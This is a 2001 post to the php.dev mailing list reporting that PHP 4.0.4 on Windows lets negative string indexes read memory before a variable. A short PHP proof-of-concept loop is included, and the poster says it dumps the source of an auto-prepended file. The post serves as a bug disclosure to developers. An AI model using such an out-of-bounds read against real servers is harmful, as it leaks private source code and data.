Reading memory "before" a variable
| From: | Mårten Gustafsson | Date: | Mon, 05 Feb 2001 15:11:54 +0000 |
| Subject: | Reading memory "before" a variable | ||
| References: | 1 | Groups: | php.dev |
| Request: | Send a blank email to php-dev+get-45777@lists.php.net to get a copy of this message | ||
Using PHP 4.0.4 for Windows it is possible to access memory "before" a
variable using a negative index on a string variable.
Executing the snippet below outputs a lot of trash but alos the entire
source code of a file that is auto prepended.
<?php
$str = '';
$hello = 'Hello';
for($i = 0; $i > -10000; $i--)
{
$str .= $hello[$i];
}
echo strrev($str);
?>
-Mårten.
Icq# 38863127